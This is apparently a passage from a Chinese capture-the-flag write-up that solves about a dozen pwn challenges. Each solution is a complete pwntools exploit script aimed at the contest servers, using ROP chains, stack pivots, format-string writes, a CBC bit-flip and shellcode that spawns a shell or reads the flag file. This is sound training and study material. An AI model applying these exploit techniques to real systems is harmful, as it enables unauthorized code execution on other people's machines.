b'\x89', b'\x8a', b'\x8b', b'\x8c', b'\x8d', b'\x8e', b'\x8f', b'\x90', b'\x91', b'\x92', b'\x93', b'\x94', b'\x95', b'\x96', b'\x97', b'\x98', b'\x99', b'\x9a', b'\x9b', b'\x9c', b'\x9d', b'\x9e', b'\x9f', b'\xa0', b'\xa1', b'\xa2', b'\xa3', b'\xa4', b'\xa5', b'\xa6', b'\xa7', b'\xa8', b'\xa9', b'\xaa', b'\xab', b'\xac', b'\xad', b'\ae', b'\xaf', b'\xb0', b'\xb1', b'\xb2', b'\xb3', b'\xb4', b'\xb5', b'\xb6', b'\xb7', b'\xb8', b'\xb9', b'\xba', b'\xbb', b'\xbc', b'\xbd', b'\xbe', b'\xbf', b'\xc0', b'\xc1', b'\xc2', b'\xc3', b'\xc4', b'\xc5', b'\xc6', b'\xc7', b'\xc8', b'\xc9', b'\xca', b'\xcb', b'\xcc', b'\xcd', b'\xce', b'\xcf', b'\xd0', b'\xd1', b'\xd2', b'\xd3', b'\xd4', b'\xd5', b'\xd6', b'\xd7', b'\xd8', b'\xd9', b'\xda', b'\xdb', b'\xdc', b'\xdd', b'\xde', b'\xdf', b'\xe0', b'\xe1', b'\xe2', b'\xe3', b'\xe4', b'\xe5', b'\xe6', b'\xe7', b'\xe8', b'\xe9', b'\xea', b'\xeb', b'\xec', b'\xed', b'\xee', b'\xef', b'\xf0', b'\xf1', b'\xf2', b'\xf3', b'\xf4', b'\xf5', b'\xf6', b'\xf7', b'\xf8', b'\xf9', b'\xfa', b'\xfb', b'\xfc', b'\xfd', b'\xfe', b'\xff']for i in bytes_for:\# io = process("./pwn2.34")io = remote("nc1.ctfplus.cn", 17014)try:io.recvuntil(b'> \n')io.send(b'/bin/sh\x00')io.recvuntil(b'index:\n')io.sendline(b'88')io.sendline(i)io.recvuntil(b'index2:\n')\# gdb.attach(io, 'b *0x401158')io.sendline(b'59')io.sendline(b'cat flag')if b'{' in io.recv():io.interactive()else:io.close()continueexcept:io.close()continue

struct_one_byte

又让我以为是堆题,然后发现给了后门和泄漏,觉得大事肯定不简单

然后一看代码,太乱了,不想逆,直接调上了。。。

当然题目名字给了提示,直接能注意到结构体最后的0x40会覆盖下一结构体标志着编辑长度的size,那就好办了,直接写调用函数地址为system加控rdi就行了(别问为啥不写backdoor,纯粹想试试行不行,)

from pwn import *\# io = process("./struct")io = remote("nc1.ctfplus.cn", 11246)elf = ELF("./struct")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))io.recv()io.sendline(b'4')io.recvuntil(b'gift\naddr:')printf_addr = int(io.recv(14), 16)lg('printf_addr', printf_addr)libcbase = printf_addr - libc.symbols['printf']lg('libcbase', libcbase)puts_addr = libcbase + libc.symbols['puts']lg('puts_addr', puts_addr)system_addr = libcbase + libc.symbols['system']def choose(choice):io.sendlineafter(b'3. change player info:', str(choice).encode())def alloc(id, name, info, student=2):choose(1)io.sendlineafter(b'Index:', str(id).encode())if 2 == student:io.sendlineafter(b'>', str(2).encode())elif 1 == student:io.sendlineafter(b'>', str(1).encode())io.sendlineafter(b'name :', name)io.sendlineafter(b'info :', info)def edit(id, name):choose(3)io.sendlineafter(b'input index:', str(id).encode())io.sendafter(b'name :', name)def work(id):choose(2)io.sendlineafter(b'input index:', str(id).encode())alloc(1, b'/bin/sh\x00', b'/bin/sh\x00')alloc(0, b'0', b'0')\# alloc(1, b'1', b'1', 1)\# alloc(0xf, b'15', b'15')edit(1, b'/bin/sh\x00'*2 + p64(system_addr) + b'/bin/sh\x00'*2)\# gdb.attach(io)work(1)io.interactive()\# dbg()

stack_overflow

把栈地址甩脸上了,直接行动,要加个栈地址,到现在还不知道向buf写的判断是用来干嘛的

from pwn import *\# io = process("./pwn")io = remote("nc1.ctfplus.cn", 36068)context.terminal = ["tmux", "new-window"]context.log_level = "debug"elf = ELF("./pwn")libc = elf.libcio.recvuntil(b"give this gift:")\# gdb.attach(io)take = u64(io.recv(6).ljust(8, b"\x00"))print(hex(take))\# gdb.attach(io)io.recv()io.send(p64(take + 0x29))io.recv()io.send(b'\x00'*0x7)io.recv()payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(0x000000000040123f) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(0x401350)\# gdb.attach(io)io.send(payload)puts_addr = u64(io.recv(6).ljust(8, b"\x00"))print(hex(puts_addr))libcbase = puts_addr - libc.symbols['puts']print(hex(libcbase))system_addr = libcbase + libc.symbols['system']print(hex(system_addr))binsh_addr = libcbase + next(libc.search(b"/bin/sh"))print(hex(binsh_addr))one_gadget = libcbase + 0xebc88print(hex(one_gadget))\# gdb.attach(io)payload = p64(0) * 0x4 + p64(0x4033C0 + 0x50) + p64(one_gadget)io.send(payload)io.interactive()

WhoIsAdmin

提示直接把考点讲了,觉得已经不能再简单了,都可以当例题了

数组溢出买下系统,然后用CBC翻转攻击的脚本转换明文,就可以直接用改系统名的溢出打正常ROP(决定拿来当例题给新生讲,嘻嘻)

from pwn import *from LibcSearcher import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})\# io = process("./whoisadmin")io = remote('nc1.ctfplus.cn', 33679)elf = ELF("./whoisadmin")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))from Crypto.Util.strxor import strxorimport binasciidef decrypt(string):\# 动态输入密文和目标明文块ciphertext_hex = string # 示例密文ciphertext = binascii.unhexlify(ciphertext_hex)\# 定义块大小(通常为16字节)BLOCK_SIZE = 16\# 确保密文长度足够长,至少包含两个块if len(ciphertext) < 2 * BLOCK_SIZE:raise ValueError("密文太短,至少需要包含两个块。")\# 分离前两块密文C_0 = ciphertext[:BLOCK_SIZE] # 第一块C_1 = ciphertext[BLOCK_SIZE:2*BLOCK_SIZE] # 第二块\# 定义已知的原始明文块和目标明文块original_plaintext = b"BinaryCryptoYYDS" # 原始明文前16字节target_plaintext = b"AdminAdminAdminA"  # 目标明文前16字节\# 计算所需的异或调整量delta = strxor(original_plaintext, target_plaintext)\# 修改C_0,使得解密C_1时得到目标明文new_C_0 = strxor(C_0, delta)\# 组合新的密文,保持C_1不变modified_ciphertext = new_C_0 + C_1 + ciphertext[2*BLOCK_SIZE:] # 仅修改第一个块\# 输出结果print("原始密文: ", ciphertext_hex.decode())print("修改后的密文: ", binascii.hexlify(modified_ciphertext).decode())return binascii.hexlify(modified_ciphertext).decode()def choose(choice):io.sendlineafter(b'Your choice: >', str(choice).encode())def new_normal_count():choose(1)io.recvuntil(b'Your account authcode: ')return decrypt(io.recvuntil(b'\n', drop=True))def show_money():choose(3)def buy_max_accountLimit(number):choose(4)io.sendlineafter(b'Tell me when check is equal to how much, (check**17 mod 281443 == 222876) is satisfied???', str(1640).encode())io.sendlineafter(b'How many accounts do you want to add?', str(number).encode())def show_max_accountLimit():choose(5)def buy_system():choose(6)def try_to_login(name):choose(7)io.sendlineafter(b'Please Input your account authcode:', name)def change_system_name(new_system_name):choose(8)io.sendlineafter(b'Please input the new system name: ', new_system_name)buy_max_accountLimit(-100000)buy_system()attack = new_normal_count()try_to_login(attack)\# gdb.attach(io)pop_rdi = 0x0000000000402db3ret = 0x000000000040101apayload = b'A'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x402C23)change_system_name(payload)puts_addr = u64(io.recv(6).ljust(8, b'\x00'))libc = LibcSearcher('puts', puts_addr)lg('puts_addr', puts_addr)libcbase = puts_addr - libc.dump('puts')lg('libcbase', libcbase)system = libcbase + libc.dump('system')lg('system_addr', system)binsh = libcbase + libc.dump('str_bin_sh')lg('bin_sh_addr', binsh)payload = b'A'*0x28 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)change_system_name(payload)io.interactive()\# dbg()

stdout

蛮有意思,虽然我本来就知道设置缓冲区后write还是能够直接用fd正常工作,不过还是觉得给了提示,也可以当例题,再偷一道,哈哈

直接调试发现寄存器和返回地址残留修改后跳转到write前方就可以一次性泄漏出elf和libc的基址然后正常ROP,当时one_gadget死活打不通,找了师傅,还没找到题作者,直接换成system就出了,还是太懒了,哈哈

from pwn import *

# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})# io = process("./pwn")# io = remote('nc1.ctfplus.cn', 35132)elf = ELF("./pwn")# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))# gdb.attach(io, 'b vuln')# shellcode = '''# syscall# '''# shellcode = asm(shellcode, arch='amd64')# payload = shellcode.ljust(0x38, b'\x00')# payload = b'\x0f\x05'# payload = payload.ljust(0x38, b'\x00')# payload = asm(shellcraft.amd64.linux.sh())# print(payload)# payload = b'A'*0x28while True:# io = process("./pwn")io = remote('nc1.ctfplus.cn', 35132)try:payload = b'A'*0x8# io.send(b'A'*(0x50-0x3d) + p64(0xbfa7b))io.send(payload)# io.sendline()io.recvuntil(b'???,out??')# io.sendline()# io.send(b'AAA')# io.send(b'A'*0x40 + b'\x00')# io.send(b'A'*0x40 + p64(0)*3 + b'\xfe\x8a\xeb')# io.send(b'A'*0x40 + p64(0) + b'\xfb\x53')# io.send(b'A'*0x40 + p64(0) + b'\x03\x54')# io.send(b'A'*0x40 + p64(0) + b'\xfc\x53')# io.send(b'A'*0x40 + p64(0) + b'\xd0\x80')io.send(b'A'*0x40 + p64(0) + b'\x78\x53')io.recvuntil(b'A'*0x40)io.recv(0x8)elfbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1382lg('elfbase', elfbase)pop_rdi = elfbase + 0x0000000000001403lg('pop_rdi', pop_rdi)ret = elfbase + 0x000000000000101alg('ret', ret)bss = elfbase + 0x5040lg('bss', bss)take = elfbase + 0x1310lg('take', take)pop_all = elfbase + 0x00000000000013fclg('pop_all', pop_all)io.recv(0xa)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x24083lg('libcbase', libcbase)system = libcbase + libc.symbols['system']lg('system', system)binsh = libcbase + next(libc.search(b'/bin/sh'))lg('binsh', binsh)onegadget = libcbase + 0xe3afelg('onegadget', onegadget)io.recv()\# gdb.attach(io)# payload = b'A'*0x48 + p64(onegadget)# payload = b'A'*0x48 + p64(pop_rdi) + p64(binsh) + p64(system)# io.send(payload)payload = b'A'*(0x40) + p64(bss + 0x40) + p64(take)io.send(payload)payload = b'B'*(0x40) + p64(bss + 0x40+0x40) + p64(take)io.send(payload)payload = p64(bss + 0x40+0x40 + 0x10) + p64(take)io.send(payload)# gdb.attach(io)payload = p64(ret)*2 + p64(pop_rdi) + p64(binsh) + p64(system)# payload = b'A'*0x8 + p64(pop_all) + p64(0)*4 + p64(onegadget)io.send(payload)io.interactive()except:io.close()continue

简单的签到

没啥好说的,甚至不用会pwn

from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 35889)io.recv()io.recv()io.sendline()calc = io.recvuntil(b'=', drop=True)take = eval(calc)io.sendline(str(take).encode())io.interactive()

这里的空间有点小啊

read接栈迁的板子题了,调下长度和bss就能打通

from pwn import *\# io = process("./main")io = remote("nc1.ctfplus.cn", 16336)context.terminal = ["tmux", "new-window"]context.log_level = "debug"elf = ELF('./main')libc = elf.libcio.recvuntil(b'[1] Write something\n[2] Give you a flag\n>>')io.sendline(b'1')io.recvuntil(b'Now you can write something')bss = 0x601020 + 0x100payload = b'A'*0x30 + p64(bss) + p64(0x40071C)io.send(payload)payload = b'B'*0x30 + p64(bss + 0x30) + p64(0x40071C)io.send(payload)payload = p64(bss + 0x30 + 0x10) + p64(0x0000000000400853) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40071C)io.send(payload)io.recv(1)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']print(hex(libcbase))system = libcbase + libc.sym['system']print(hex(system))og = libcbase + 0x4f302payload = b'A'*0x20 + p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5io.send(payload)io.interactive()

真的能走到后门吗

具体通过泄漏能够拿到程序自己和保护给的两个canary,然后回去重新用printf写一位返回地址到后门就行了

from pwn import *\# io = process("./fmt")io = remote("nc1.ctfplus.cn", 18593)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'elf = ELF('./fmt')libc = elf.libcio.recv()io.send(p64(0x404018))io.recv()payload = b'%' + str(0x127D).encode() + b'c%16$hn'payload = b'%14$p%17$p'payload = payload.ljust(0x10, b'\x00')\# gdb.attach(io)\# io.send(b'KKKKKKKK')io.send(payload)\# io.send(payload)\# io.recvline()io.recvuntil(b'your name:\n')take = int(io.recv(14), 16)print(hex(take))canary = int(io.recv(18), 16)print(hex(canary))\# gdb.attach(io)io.recvuntil(b'What do you want to say?\n')payload = b'A'*0x38 + p64(canary) + p64(take) + b'\x9D' # p64(0x40127D) # p64(0x5D)\# payload = payload.ljust(0x70, b'A')io.send(payload)\# gdb.attach(io, 'b vuln')io.recv()io.send(p64(take - 0x27))\# io.send(b'\x66\x66\x66')payload = b'%' + str(0x12).encode() + b'c%16$hhn'# + b'%' + str(0x7D - 0x12).encode() + b'c%16$hhn'print(hex(len(payload)))\# gdb.attach(io)io.send(payload)io.recvuntil(b'What do you want to say?\n')payload = b'A'*0x38 + p64(canary) + p64(take - 0x10) + b'\x85' # p64(0x40127D) # p64(0x5D)\# payload = payload.ljust(0x70, b'A')\# gdb.attach(io)io.send(payload)io.interactive()

ez_fmt

确实简单,我当printf打了。。。

Scanf更简单,只要知道偏移就能够任意写任意类型了

from pwn import *\# io = process("./pwn")io = remote("nc1.ctfplus.cn", 25743)elf = ELF("./pwn")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'\# io.recv()\# payload = b'0x18'\# # gdb.attach(io, 'b *0x55555555532e')\# io.sendline(payload)\# main = u64(io.recv(6).ljust(8, b'\x00')) - 53\# log.info(f"Main addr: {hex(main)}")\# elfbase = main - elf.symbols['main']\# log.info(f"Elf base: {hex(elfbase)}")\# count_addr = elfbase + 0x4010\# log.info(f"Count addr: {hex(count_addr)}")io.recv()payload = b'0x9'\# gdb.attach(io, 'b *0x55555555532e')io.sendline(payload)canary = u64(io.recv(7).rjust(8, b'\x00'))log.info(f"Canary: {hex(canary)}")stack_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info(f"Stack addr: {hex(stack_addr)}")io.recv()payload = b'0x38'\# gdb.attach(io, 'b *0x55555555533e')io.sendline(payload)libc_start_main_addr = u64(io.recv(6).ljust(8, b'\x00')) - 243log.info(f"Libc start main addr: {hex(libc_start_main_addr)}")libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']log.info(f"Libc base: {hex(libcbase)}")system_addr = libcbase + libc.symbols['system']log.info(f"System addr: {hex(system_addr)}")binsh_addr = libcbase + next(libc.search(b"/bin/sh"))log.info(f"Binsh addr: {hex(binsh_addr)}")one_gadget_addr = libcbase + 0xe3b01log.info(f"One gadget addr: {hex(one_gadget_addr)}")\# high_sys = (one_gadget_addr >> 16) & 0xff # 提取前两位one_gadget = one_gadget_addr & 0xffffffff # 提取后四位log.info(f"one_gadget addr: {hex(one_gadget)}")io.recv()payload = p64(stack_addr - 0x18) + p64(0) + b'%6$d'payload = payload.ljust(0x20, b'\x00')\# payload = b'A'*8 + b'B'*0x8print(hex(len(payload)))\# gdb.attach(io)io.send(payload)io.sendline(str(one_gadget).encode())io.interactive()

hard_orw

对新生可能有点不友好,但是也就是要转一下模式有32位的open,然后用64位的sendfile就行了,其它的没啥难点,搓一下就出了

from pwn import *\# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})io = process("./sandbox")\# io = remote('nc1.ctfplus.cn', 37876)elf = ELF("./sandbox")\# libc = ELF("./libc-2.??.so")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))\# gdb.attach(io)io.recvuntil(b'Please input your id')io.send(b'\x00\x00\x00\x00')io.recvuntil(b'Please input your age')io.send(b'\xf0\x15\x40\x00')io.recv()\# push  0x67616c66\# push  0x2\# pop  rax\# mov  rdi,rsp\# xor  rsi,rsi\# syscall \# mov rsp, 0x405100\# push 0x23\# add rsi, 9\# push rsi\# retfqshellcode = '''mov rsp, 0x405100push 0x23add rsi, 0x10push rsiretfq'''shellcode1 = '''push 0x67616c66add esi, 0xecmov ebx,espxor ecx,ecxxor edx,edxmov eax,5int 0x80push 0x33sub esi, 0x100add esi, 0x39push esiretf'''shellcode2 = '''mov rdi, 1mov rsi, 3push 0mov rdx, rspmov r10, 0x100push SYS_sendfilepop raxsyscall'''shellcode = asm(shellcode)shellcode1 = asm(shellcode1, arch='i386', bits=32)shellcode2 = asm(shellcode2)shellcode += shellcode1shellcode += shellcode2shellcode = shellcode.ljust(0x1000, b'\x00')\# payload = b'\xe8\xfc\xf0\xff\x00'\# payload = b'\xE9\xfb\xf0\xff\xff'\# payload = b'H\x83\xed\x18\xc3'\# payload = b'\xc3'payload = b'\xffU\xf0'\# gdb.attach(io)io.recvuntil(b'Perhaps you should learn "ret" and "fd" first')io.send(payload)\# pause()\# gdb.attach(io)io.send(shellcode)io.interactive()

你会栈溢出吗

直接到后门

from pwn import *# io = process("./stackover")io = remote("nc1.ctfplus.cn", 17766)io.recv()payload = b'A'*(0xC + 0x8) + p64(0x40073D)io.sendline(payload)io.interactive()

orz?orw!

jmp rsp到最后才想起来,打了半天leave_ret然后都报错。。。

此外就是神奇的复现的时候本地打不通了。。。

最大的问题其实是不能用\x00来泄漏canary又要用来当作read的长度参数,但是太长read是不会成功执行的,最开始本地调试到0x66可以才选的,并且远端也成功了,结果本地复现不成功,不然也想当例题的,等wp了

from pwn import *io = process("./orw")\# io = remote("nc1.ctfplus.cn", 39115)\# elf = ELF("./orw")\# libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'io.recvuntil(b'please input your size:')shellcode = '''push  0x67616c66push  0x2pop  raxmov  rdi,rspxor  rsi,rsisyscall mov rdi, 1mov rsi, 3push 0mov rdx, rspmov r10, 0x100push SYS_sendfilepop raxsyscall'''shellcode = asm(shellcode)print(len(shellcode))\# gdb.attach(io)io.sendline(str(4).encode())io.recvuntil(b'Please input your name:')\# payload = b'\x66'*0xapayload = b'\x66'*(0xa)\# gdb.attach(io, 'b *0x401382')io.send(payload)\# io.recvuntil(b'\x66'*0xa)io.recvuntil(payload)canary = u64(io.recv(7).rjust(8, b'\x00'))log.info(f"Canary: {hex(canary)}")\# stack_addr = u64(io.recv(6).ljust(8, b'\x00'))\# log.info(f"Stack addr: {hex(stack_addr)}")io.recvuntil(b'give me your id')payload = b'\x00'*0x4 + p64(canary) + p64(0x4040a0+0x30) + p64(0x4012A7) + shellcodegdb.attach(io, 'b *0x4013c1')io.send(payload)io.interactive()

ez_shellcode

写完shellcode跳转过去

from pwn import *\# io = process("./shellcode")io = remote("nc1.ctfplus.cn", 27071)context.terminal = ['tmux', 'new-window']context.log_level = 'debug'context.arch = 'amd64'payload = asm(shellcraft.sh())\# payload = b'KKKK'\# gdb.attach(io)io.sendafter(b'do you know shellcode?', payload)\# gdb.attach(io)\# io.sendline(b'A'*0x20 + p64(0x0000000000401463) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4013E0))io.sendlineafter(b'please input your name:', b'A'*0x20 + p64(0x401256))io.interactive()

学校的烂电梯plus

看注释也能发现,哈哈爆破出来的,想过要住栈上打一个函数的返回,但是没想到打谁,爆破出了回去调发现是read,后来的pro里把栈顶的去掉了就寄了。。。

from pwn import *io = process("./pwn")\# io = remote("nc1.ctfplus.cn", 34720)elf = ELF("./pwn")libc = elf.libccontext(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])context.log_level = 'debug'dbg = lambda: (gdb.attach(io),pause())lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))print(elf.plt['puts'])\# io.recv()\# gdb.attach(io)gdb.attach(io, 'b *0x40134d')\# gdb.attach(io, 'b *0x401389')\# gdb.attach(io, 'b *0x4013cb')\# io.sendline(str(-0x20).encode())\# io.sendline(str(-0xc).encode())\# io.sendline(str(-0).encode())\# io.sendline(str(-0x2).encode())\# io.sendline(str(-0x4).encode())\# io.sendline(str(-0x6).encode())\# io.sendline(str(-0x8).encode())\# io.sendline(str(-0xa).encode())\# io.sendline(str(-0xc).encode())\# io.sendline(str(-0xe).encode())\# io.sendline(str(-0x12).encode())\# io.sendline(str(-0x20).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(-0x22).encode())\# io.sendline(str(0x2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(-2).encode())io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.sendlineafter(b'how many floors do you want to go?', str(2).encode())\# io.recv()\# io.recv()import struct\# target_value = 0x4013BAtarget_value = 0double_value = struct.unpack('d', struct.pack('Q', target_value))[0]io.sendlineafter(b'which one you want to call?', str(double_value).encode())pop_rdi = 0x000000000040127fpayload = p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)io.recv()puts_addr = u64(io.recv(6).ljust(8, b'\x00'))lg('puts_addr', puts_addr)libcbase = puts_addr - libc.symbols['puts']lg('libcbase', libcbase)system_addr = libcbase + libc.symbols['system']lg('system_addr', system_addr)str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))lg('str_bin_sh', str_bin_sh)io.sendlineafter(b'how many floors do you want to go?', str(-4).encode())\# target_value = 0x4013BAtarget_value = 0double_value = struct.unpack('d', struct.pack('Q', target_value))[0]io.sendlineafter(b'which one you want to call?', str(double_value).encode())ret = 0x000000000040101apayload = p64(0) + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr) # + p64(elf.symbols['main'])io.sendlineafter(b'you have be saved, please send a message to thanks for the man!!', payload)\# io.sendlineafter(b'how many floors do you want to go?', str(-0x2).encode())\# io.recv()\# io.sendline(str(-0xc).encode())\# io.recv()\# io.sendline(str(2.0747565e-317).encode())\# io.recv()\# io.sendline(b'A'*0x8)\# # io.sendline(str(2.0747585e-317).encode())io.interactive()

su~~~~

没懂题目名叫su干嘛,直接ROP就出了

from pwn import *\# io = process("./csu")io = remote("nc1.ctfplus.cn", 29975)context(arch='amd64', os='linux')context.log_level = "debug"context.terminal = ['tmux', 'new-window']elf = ELF("./csu")libc = elf.libcio.recv()io.sendline(b'1')payload = b'A'*0x88 + p64(0x0000000000400903) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])io.sendline(payload)puts_addr = u64(io.recv(6).ljust(8, b'\x00'))print(hex(puts_addr))libcbase = puts_addr - libc.symbols['puts']print(hex(libcbase))system = libcbase + libc.symbols['system']print(hex(system))str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))print(hex(str_bin_sh))io.recv()io.sendline(b'1')payload = b'A'*0x88 + p64(0x00000000004005d6) + p64(0x0000000000400903) + p64(str_bin_sh) + p64(system)io.sendline(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/478387.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++设计模式-策略模式-StrategyMethod

动机&#xff08;Motivation&#xff09; 在软件构建过程中&#xff0c;某些对象使用的算法可能多种多样&#xff0c;经常改变&#xff0c;如果将这些算法都编码到对象中&#xff0c;将会使对象变得异常复杂&#xff1b;而且有时候支持不使用的算法也是一个性能负担。 如何在运…

【初阶数据结构和算法】leetcode刷题之设计循环队列

文章目录 一、实现循环队列1.大致思路分析2.循环队列的结构定义和初始化结构定义初始化 3.循环队列的判空和判满判空和判满难点分析判空判满 4.循环队列的入队列和出队列入队列出队列 5.循环队列取队头和队尾元素取队头元素取队尾元素 6.循环队列的销毁7.最后题解源码 一、实现…

【网络通信】数据集合集!

本文将为您介绍经典、热门的数据集&#xff0c;希望对您在选择适合的数据集时有所帮助。 1 RITA 更新时间&#xff1a;2024-11-22 访问地址: GitHub 描述&#xff1a; RITA 是一个用于网络流量分析的开源框架。 该框架以 TSV 或 JSON 格式提取 Zeek 日志&#xff0c;目前支…

.net core MVC入门(一)

文章目录 项目地址一、环境配置1.1 安装EF core需要包1.2 配置数据库连接二、使用EF创建表2.1 整体流程梳理2.1 建表详细流程三、添加第一个视图3.1整体流程梳理3.1 添加视图,并显示在web里四、使用EF增加Catogory数据,并且读取数据到页面4.1整体流程梳理4.2 实现五、增加Cat…

蓝桥杯不知道叫什么题目

小蓝有一个整数&#xff0c;初始值为1&#xff0c;他可以花费一些代价对这个整数进行变换。 小蓝可以花贵1的代价将教数增加1。 小蓝可以花费3的代价将整数增加一个值,这个值是整数的数位中最大的那个(1到9) .小蓝可以花费10的代价将整数变为原来的2倍, 例如&#xff0c;如果整…

css效果

css炫彩流光圆环效果 <!DOCTYPE html> <html><head><meta charset"utf-8" /><title></title><style>*{margin: 0;padding: 0;}body{width: 100%;height: 100vh;}.container{position: relative;width: 100%;height: 100vh…

提供html2canvas+jsPDF将HTML页面以A4纸方式导出为PDF后,内容分页时存在截断的解决思路

前言 最近公司有个系统要做一个质量报告导出为PDF的需求&#xff0c;这个报表的内容是固定格式&#xff0c;但是不固定内容多少的&#xff0c;网上找了很多资料&#xff0c;没有很好的解决我的问题&#xff0c;pdfmakde、还有html2CanvasjsPDF以及Puppeteer无头浏览器的方案都不…

【C++动态规划 子集状态压缩】2002. 两个回文子序列长度的最大乘积|1869

本文涉及知识点 C动态规划 位运算、状态压缩、枚举子集汇总 LeetCode2002. 两个回文子序列长度的最大乘积 给你一个字符串 s &#xff0c;请你找到 s 中两个 不相交回文子序列 &#xff0c;使得它们长度的 乘积最大 。两个子序列在原字符串中如果没有任何相同下标的字符&…

鸿蒙NEXT开发案例:字数统计

【引言】 本文将通过一个具体的案例——“字数统计”组件&#xff0c;来探讨如何在鸿蒙NEXT框架下实现这一功能。此组件不仅能够统计用户输入文本中的汉字、中文标点、数字、以及英文字符的数量&#xff0c;还具有良好的用户界面设计&#xff0c;使用户能够直观地了解输入文本…

[极客大挑战 2019]BabySQL--详细解析

信息搜集 进入界面&#xff1a; 输入用户名为admin&#xff0c;密码随便输一个&#xff1a; 发现是GET传参&#xff0c;有username和password两个传参点。 我们测试一下password点位能不能注入&#xff1a; 单引号闭合报错&#xff0c;根据报错信息&#xff0c;我们可以判断…

C++《二叉搜索树》

在初阶数据结构中我学习了树基础的概念以及了解了顺序结构的二叉树——堆和链式结构二叉树该如何实现&#xff0c;那么接下来我们将进一步的学习二叉树&#xff0c;在此会先后学习到二叉搜索树、AVL树、红黑树&#xff1b;通过这些的学习将让我们更易于理解后面set、map、哈希等…

Apollo9.0源码部署(Nvidia显卡)

本文参照Apollo官方部署例程&#xff0c;进行修改。解决在部署期间遇到的网络不通、编译卡死、编译失败等问题。&#xff08;安装具有时效性&#xff0c;仅供参考&#xff09; 步骤1. 安装docker,显卡驱动、nvidia插件&#xff0c;此步骤可见专栏第一、二 节 步骤2. 拉取代…

第02章_MySQL环境搭建(基础)

1. MySQL 的卸载 1.1 步骤1&#xff1a;停止 MySQL 服务 在卸载之前&#xff0c;先停止 MySQL8.0 的服务。按键盘上的 “Ctrl Alt Delete” 组合键&#xff0c;打开“任务管理器”对话 框&#xff0c;可以在“服务”列表找到“MySQL8.0” 的服务&#xff0c;如果现在“正在…

【华为】配置VXLAN构建虚拟网络实现相同网段互通(静态方式)

微思网络 厦门微思网络 组网需求 企业已经建成比较成熟的园区网络&#xff0c;但是没有专用的数据中心网络&#xff0c;所有的服务器分布在不同的部门&#xff0c;并且不具备集中放置的条件。现在用户希望在已有园区网络上构建一个虚拟网络&#xff0c;需求如下&#xff1a; 将…

linux系统运维面试题(二)(Linux System Operations Interview Questions II)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 本人主要分享计算机核心技…

互联网直播/点播EasyDSS视频推拉流平台视频点播有哪些技术特点?

